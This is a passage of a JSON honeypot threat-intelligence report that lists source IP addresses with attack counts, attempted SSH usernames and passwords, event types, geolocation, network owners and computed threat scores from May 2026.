        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.file_download",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 29.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.8,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-28T08:07:05.485000+00:00",
        "last_seen_30d": "2026-05-28T08:09:36.989000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 6,
        "Honeytrap": 1
      }
    },
    "138.68.65.59": {
      "attack_count": 10,
      "first_seen": "2026-05-16T01:41:25.702Z",
      "last_seen": "2026-05-16T01:41:34.053Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "pakchoi"
      ],
      "passwords_attempted": [
        "Kermit123@",
        "fakepass"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 77.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 24.7,
        "persistence": 23.3,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 294,
        "days_active_30d": 28,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T09:46:49.345000+00:00",
        "last_seen_30d": "2026-05-31T22:31:00.364000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 270,
        "Honeytrap": 14,
        "Cowrie": 10
      }
    },
    "138.84.56.228": {
      "attack_count": 10,
      "first_seen": "2026-05-15T15:03:41.448Z",
      "last_seen": "2026-05-16T02:13:57.069Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.fingerprint",
        "cowrie.login.success"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T15:03:41.448000+00:00",
        "last_seen_30d": "2026-05-16T02:24:42.241000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "34.52.145.75": {
      "attack_count": 10,
      "first_seen": "2026-05-24T02:41:40.443Z",
      "last_seen": "2026-05-24T02:41:49.324Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Belgium",
      "country_code": "BE",
      "city": "Brussels",
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T02:41:40.443000+00:00",
        "last_seen_30d": "2026-05-24T02:42:57.032000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 5
      }
    },
    "45.186.133.193": {
      "attack_count": 8,
      "first_seen": "2026-05-24T20:13:36.368Z",
      "last_seen": "2026-05-24T20:19:46.965Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Caucaia",
      "asn": 269424,
      "as_org": "M dos santos rodrigues",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T20:13:36.368000+00:00",
        "last_seen_30d": "2026-05-24T20:21:04.828000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 7
      }
    },
    "20.163.14.130": {
      "attack_count": 7,
      "first_seen": "2026-05-26T18:39:12.885Z",
      "last_seen": "2026-05-26T18:39:22.885Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 53.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.3,
        "persistence": 19.2,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 43,
        "days_active_30d": 23,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T05:01:35.027000+00:00",
        "last_seen_30d": "2026-05-26T18:40:26.091000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 10,
        "Cowrie": 7
      }
    },
    "186.226.58.200": {
      "attack_count": 6,
      "first_seen": "2026-05-14T10:14:10.271Z",
      "last_seen": "2026-05-14T10:14:16.738Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Rio de Janeiro",
      "asn": 262954,
      "as_org": "VirtuaServer Informatica Ltda",
      "threat_score": 9.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T10:14:10.271000+00:00",
        "last_seen_30d": "2026-05-14T10:15:19.892000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "81.86.115.87": {
      "attack_count": 6,
      "first_seen": "2026-05-22T01:15:12.366Z",
      "last_seen": "2026-05-22T01:19:19.815Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Birmingham",
      "asn": 13285,
      "as_org": "TalkTalk",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T01:15:12.366000+00:00",
        "last_seen_30d": "2026-05-22T11:23:26.031000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "82.64.200.144": {
      "attack_count": 6,
      "first_seen": "2026-05-10T15:33:52.754Z",
      "last_seen": "2026-05-10T15:33:59.889Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 6.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:33:52.754000+00:00",
        "last_seen_30d": "2026-05-10T15:35:07.091000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "92.41.187.57": {
      "attack_count": 6,
      "first_seen": "2026-05-20T07:14:27.384Z",
      "last_seen": "2026-05-20T07:46:43.330Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 206067,
      "as_org": "Three",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T07:14:27.384000+00:00",
        "last_seen_30d": "2026-05-20T07:47:48.276000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "115.190.26.3": {
      "attack_count": 5,
      "first_seen": "2026-05-13T19:28:46.399Z",
      "last_seen": "2026-05-13T19:28:49.607Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "zaq1@wsx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 8.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T19:28:46.399000+00:00",
        "last_seen_30d": "2026-05-13T19:29:55.893000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "5.83.143.18": {
      "attack_count": 5,
      "first_seen": "2026-05-19T12:10:24.564Z",
      "last_seen": "2026-05-19T12:10:34.526Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "12566manzaNA@freepbx"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 200912,
      "as_org": "Joel Krause",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T12:10:24.564000+00:00",
        "last_seen_30d": "2026-05-19T12:11:44.352000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 5,
        "Suricata": 3
      }
    },
    "147.185.132.204": {
      "attack_count": 4,
      "first_seen": "2026-05-03T23:10:54.537Z",
      "last_seen": "2026-05-20T17:28:42.384Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 84.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 29,
        "ports_targeted_30d": 27,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-05-03T23:10:54.537000+00:00",
        "last_seen_30d": "2026-05-31T18:36:54.484000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 22,
        "Cowrie": 4,
        "Dionaea": 4
      }
    },
    "205.210.31.37": {
      "attack_count": 4,
      "first_seen": "2026-05-30T04:33:19.735Z",
      "last_seen": "2026-05-30T04:33:23.433Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 121,
        "days_active_30d": 30,
        "ports_targeted_30d": 24,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T03:14:40.696000+00:00",
        "last_seen_30d": "2026-05-31T22:01:51.563000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 25,
        "Dionaea": 5,
        "Cowrie": 4,
        "Wordpot": 1
      }
    },
    "213.177.179.79": {
      "attack_count": 4,
      "first_seen": "2026-05-24T22:26:11.437Z",
      "last_seen": "2026-05-24T22:26:21.445Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 208137,
      "as_org": "Feo Prest SRL",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T22:26:11.437000+00:00",
        "last_seen_30d": "2026-05-24T22:27:27.880000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "88.88.214.103": {
      "attack_count": 4,
      "first_seen": "2026-05-20T02:48:47.071Z",
      "last_seen": "2026-05-26T12:00:39.591Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Bergen",
      "asn": 2119,
      "as_org": "Telenor Norge AS",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T02:48:47.071000+00:00",
        "last_seen_30d": "2026-05-26T12:01:45.584000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "111.127.226.105": {
      "attack_count": 2,
      "first_seen": "2026-05-22T19:32:22.481Z",
      "last_seen": "2026-05-22T19:32:35.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T19:32:22.481000+00:00",
        "last_seen_30d": "2026-05-22T19:33:39.296000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.138.113.131": {
      "attack_count": 2,
      "first_seen": "2026-05-22T12:35:05.871Z",
      "last_seen": "2026-05-22T12:35:19.338Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:35:05.871000+00:00",
        "last_seen_30d": "2026-05-22T12:36:27.291000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.226.168.153": {
      "attack_count": 2,
      "first_seen": "2026-05-22T12:32:17.097Z",
      "last_seen": "2026-05-22T12:32:47.353Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140293,
      "as_org": "CHINATELECOM Jiangsu province Changzhou 5G network",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T12:32:17.097000+00:00",
        "last_seen_30d": "2026-05-22T12:33:49.044000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "129.224.206.206": {
      "attack_count": 2,
      "first_seen": "2026-05-02T18:15:24.947Z",
      "last_seen": "2026-05-02T18:16:38.765Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 14593,
      "as_org": "Space Exploration Technologies Corporation",
      "threat_score": 2.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T18:15:23.231000+00:00",
        "last_seen_30d": "2026-05-02T18:20:54.489000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2
      }
    },
    "131.222.252.120": {
      "attack_count": 2,
      "first_seen": "2026-05-08T02:57:50.177Z",
      "last_seen": "2026-05-08T02:58:02.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Antakya",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T02:57:50.177000+00:00",
        "last_seen_30d": "2026-05-08T02:59:10.995000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "138.204.208.110": {
      "attack_count": 2,
      "first_seen": "2026-05-21T22:26:45.152Z",
      "last_seen": "2026-05-21T22:28:45.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Guarulhos",
      "asn": 28294,
      "as_org": "GIGA MAIS FIBRA TELECOMUNICACOES S.A.",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T22:26:45.152000+00:00",
        "last_seen_30d": "2026-05-21T22:39:25.737000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 2
      }
    },
    "146.255.74.137": {
      "attack_count": 2,
      "first_seen": "2026-05-06T18:31:19.738Z",
      "last_seen": "2026-05-06T18:31:32.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 43612,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T18:31:19.738000+00:00",
        "last_seen_30d": "2026-05-06T18:32:38.866000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.235.201.150": {
      "attack_count": 2,
      "first_seen": "2026-05-07T06:24:21.799Z",
      "last_seen": "2026-05-07T06:24:35.344Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Tel Aviv",
      "asn": 6810,
      "as_org": "Bezeq- THE ISRAEL TELECOMMUNICATION CORP. LTD.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:24:21.799000+00:00",
        "last_seen_30d": "2026-05-07T06:25:46.898000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.0.0.10": {
      "attack_count": 2,
      "first_seen": "2026-05-14T03:27:39.123Z",
      "last_seen": "2026-05-14T03:28:10.282Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 41.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 12.6,
        "persistence": 20.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 24,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T13:41:06.044000+00:00",
        "last_seen_30d": "2026-05-28T20:24:54.927000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 2
      }
    },
    "157.50.181.134": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:39:53.260Z",
      "last_seen": "2026-05-04T14:40:06.329Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:39:53.260000+00:00",
        "last_seen_30d": "2026-05-04T14:41:09.943000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "168.232.196.207": {
      "attack_count": 2,
      "first_seen": "2026-05-03T06:13:10.785Z",
      "last_seen": "2026-05-03T06:13:23.443Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Contagem",
      "asn": 264948,
      "as_org": "KONECTIVA TELECOMUNICACOES LTDA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:13:10.785000+00:00",
        "last_seen_30d": "2026-05-03T06:14:32.582000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "170.238.203.94": {
      "attack_count": 2,
      "first_seen": "2026-05-09T21:54:06.823Z",
      "last_seen": "2026-05-09T21:54:18.937Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Buin",
      "asn": 264814,
      "as_org": "BITRED GROUP SPA",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
